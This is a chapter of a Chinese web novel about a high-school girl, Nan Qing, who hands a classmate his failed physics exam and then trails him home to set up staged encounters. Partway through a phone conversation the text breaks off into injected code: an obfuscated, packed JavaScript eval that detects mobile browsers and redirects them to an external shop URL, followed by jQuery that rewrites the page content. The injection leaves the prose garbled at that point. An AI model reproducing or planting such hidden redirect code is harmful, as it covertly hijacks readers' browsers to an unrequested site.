云城的雨季来得早,晴空万里的天阴沉得没有任何征兆。
刚黑,雨点就落下来。
南青没有淋雨看别人打球的习惯,她想,夏清妄应该也没有淋雨打球的想法。
刚回暖的天又变得湿冷。
连绵的细雨不断冲刷着楼屋和地面,枝头的桃花开得旺盛,经过这场雨的洗礼,枝头的叶片冒出绿芽。
“一连下了几天雨,心情都不好了。”许珍珍从办公室回来,“青青,物理老师喊你去办公室。”
南青高中没少参加各种竞赛,学校有意将她培养成保送生。
这次找她,就是问她有没有意向。
南青不喜欢这种定死的路线,更喜欢未知的挑战。
所以她拒绝了。
“你不再考虑一下吗?机会难得,而且学校你可以自己选。”
南青还是拒绝:“我先自己试试,而且我现在有目标,稳赢。”
物理老师也没勉强,“行,不过你再考虑考虑,回去跟父母商量一下。”他从桌上拿起一张改出分数的试卷,“正好你下去,帮我把这个带去15班。”
“我真的考虑好啦。”南青态度坚定,转念一想,“不如您晚会问问陈江,他物理成绩也不错。”
“他保送了理工大,说有个学长在理工大。”
南青接过试卷,有些意外,“挺好的。”
走出办公室,她低头看了眼手里的试卷。
52分。
又看了眼侧栏——夏清妄。
夏清妄成绩这么差吗?
南青大概看了一眼。
前面一面寥寥写了几题,后面一面大题写满了,错了一半。
15班门前还是那群人,聚在一起谈天说地。
郭枫看到她过来,停在门口,主动过去,“仙女,你找谁啊?”
“仙女?”南青蹙眉。
“你好看。”郭枫半个身子倚在门上,“找谁,我帮你喊。”
南青对着里面环顾一圈,没看到要找的人,转身看走廊。
周遭突然安静下来,都目光灼灼地盯着她,像是在好奇她到底找谁。
夏清妄懒散地靠墙倚着,深沉的目光染上几分意味不明的玩味。
仿佛置身事外,知晓大局地看她演戏。
南青视线在每个人脸上掠过,最后停在样貌出挑的少年身上,伸手指他。
“我找他。”
郭枫脸色僵了僵,“你找妄哥啊。”
南青朝他走去,伫立在他面前。
夏清妄比她高出半个头,人高腿长,身形挺拔,慵懒随性,说的话却混不痞。
“物理老师让我把这个给你。”
南青把试卷的正面递到他面前,周围人纷纷探头,好奇那是什么东西。
夏清妄垂眸,自己52分的试卷,赫然呈现在眼前。
脸色难看了一瞬。
身旁的蒋正远没憋住,笑出了声,连忙替他接过,随便折几下,把那醒目的红色笔墨盖住。
“谢谢仙女,辛苦啦。”
南青客气地点了下头:“不客气。”然后离开。
夏清妄伸手夺过蒋正远手里的试卷,指尖用力,试卷在掌心里被揉得皱巴。
没几秒,他又泄了力,攥着那张试卷走回班里。
蒋正远一看便知道他被气得不轻。
被一姑娘当着这么多人的面摁在地上羞辱。
他跟着回教室,夏清妄坐在位置上,翘着腿,一脸阴沉。
蒋正远走过去,捡起他那张物理试卷展开看了看,“没什么问题啊。”
比平时还高了几分呢。
他看着自己替夏清妄写的那几题,无一例外,都错。
他没憋住又笑了声。
夏清妄薄唇轻启,淡淡吐出一个字:“滚。”
-
一场雨落完,空气中混着雨后清冽的草木香。
南青背着书包站在廊下,目不斜视地盯着人来人往的校门口。
校园里的人都快走完了,她还没等到夏清妄从里面出来。
难得当一次“变态”,结果没等到目标。
她低头看了眼腕表,离放学已经过去了一个小时。
打篮球,也不能打这么久吧。
南青饿得肚子咕咕响,走到对面的小店里,买了个肉饼垫吧垫吧。
算了。
委屈了谁,都不能委屈了她的肚子。
少女站在梧桐树底下,白帽,灰外套,下身一条牛仔裤,搭配白鞋。
她从衣兜里掏出白色的有线耳机。
戴上,插好,点开歌单。
手里馅料饱满的肉饼咬了两三口,衣袖上沾了几点油,是刚才买饼的时候不小心碰上的。
风掀起她的齐刘海,南青抬手摁住,视线里闯进一个高大的身影。
夏清妄还穿着那件冲锋衣,他好像永远是一身黑,裸露在外的肌肤,在黑衣的衬托下白得突兀,青色的血管脉络明显。
南青迈腿。
城市湿漉漉的,两人一前一后,之间隔着几米的距离。
她安静地跟着,夏清妄没发现她,只是中途接了个电话。
看到熟悉的号码,夏清妄眉头轻蹙,犹豫了几秒,还是接通。
那头传来一道女声。
“阿妄,到家了吗?”
“嗯。”
“这段时间我跟你谢叔叔都忙,他前几天还问我,你成绩怎么样呢。”她有意解释这段时间为什么没打电话过来,“你有没有好好吃饭呢?”
夏清妄已经听惯了这样的托词,“在吃。”
许付红哈哈笑了声,“那就行,天气马上热起来了,你叔叔这几天总念叨你,还叮嘱我记得给你买几件夏装。”
她声音讨好,“妈妈给你卡里打了钱,周末去买几件新衣服。还有,你现在正是长身体的时候,营养要跟上。钱不够跟我说,千万别省。”
她絮絮叨叨说了很多,三句话,两句不离“你谢叔叔”。
夏清妄“嗯”“哦”应付完前面,许付红才说起重点。
“阿妄,你们学校五一放几天假啊?”
“三天。”
夏清妄乱说,心口烦躁。
走进一家小店,指了指老板身后货架上的东西,又拿了个打火机。
许付红声音软下来:“阿妄,假期你要不要来宣城玩两天?你谢叔叔还要暑假才能回来,当妈妈求你了,就住两天。”
“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723163|208764||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
谢叔叔的儿子放假也在家,你们俩差不多大……”
后面的话,夏清妄没再听,退出通话框,扫码付了钱。
他把东西揣进兜里,才慢悠悠出声打断她,声音有些哑,“……妈。”
许付红心头一凛,“怎么啦?阿妄。”
夏清妄向来听话,只是对于这个后爸,接受度有限。
“暑假也没两个月时间,也不急的这一时。”夏清妄的声音很轻,像是带着几分无奈的请求,“我们到时候再说,行吗?”
“……行,”许付红一愣,“那你照顾好自己,钱不够跟我说。”
夏清妄把手机揣回兜里,摸出刚买的烟,抽出一根咬在嘴上。
点燃,吐烟。
青白的烟雾在暮色中聚成一团再散开,他身上又恢复那股清冷的气质。
南青扬了下眉。
平时在学校没见夏清妄抽烟,还以为是个不混社会的高冷范。
远远看着,这湿漉的天莫名与抽烟的少年适配。
忧郁、破碎。
她没听见电话里的内容,只觉得这人抽烟的时候帅得过分。
一根烟没抽完,夏清妄就捻灭了。
他拐进另一条小道,穿过这片区域,走进小区楼里。
南青仰头望着十一二层高的电梯房,又扭头看了看不远处自己住的小区。
他住着?
夏清妄住在她对街!
心里突然冒出一个好主意。
这附近的早餐店都在马路两边的街上,而且……她记得前面不远处有个篮球场。
-
翌日。
南青起了个大早,盯着一双困眼,在楼下早餐店吃了两个小时早餐。
从八点吃到十点。
终于在十点一刻等到了夏清妄。
马路对面,少年一身睡衣,套了件长袖外套,从小区里出来,径直走向门口的粉店。
南青坐在门口支棱的椅子上,看到人,连忙移开目光,夹起碗里的牛肉粉嗦了两口。
夏清妄打包完粉,从店里出来,一眼就看到了坐在对面摊子上,低头嗦粉的少女。
卡通图案的睡衣。
一头乌黑的长发随着低头的动作滑落下来,她一只手抓着,一手握着筷子夹起滑溜的粉。
夏清妄扬眉,意味不明地笑了声。
提着粉回去。
……
下午。
南青背起书包去附近的篮球场写作业。
这边的篮球场还是几年前老楼翻新时建的,在街道下面的空地,需要沿着两边生锈的楼梯下去。
住在附近的学生都来这里打球。
南青站在上头,盯着下面的男生,一眼就看到夏清妄那群人。
哪个角度偶遇,不会显得刻意呢?
思考之际,南青看到了篮球场上方的奶茶店。
她没有任何犹豫,背着书包走进奶茶店,直奔靠窗的位置。
这个位置刚好正对篮球场,底下的人稍微一抬头就能看见她。
附近就这一家店面,就算没看到,上来买水,也能碰上。
南青点了杯饮料,坐在窗边写起作业。
万事俱备,只等鱼儿自己上钩。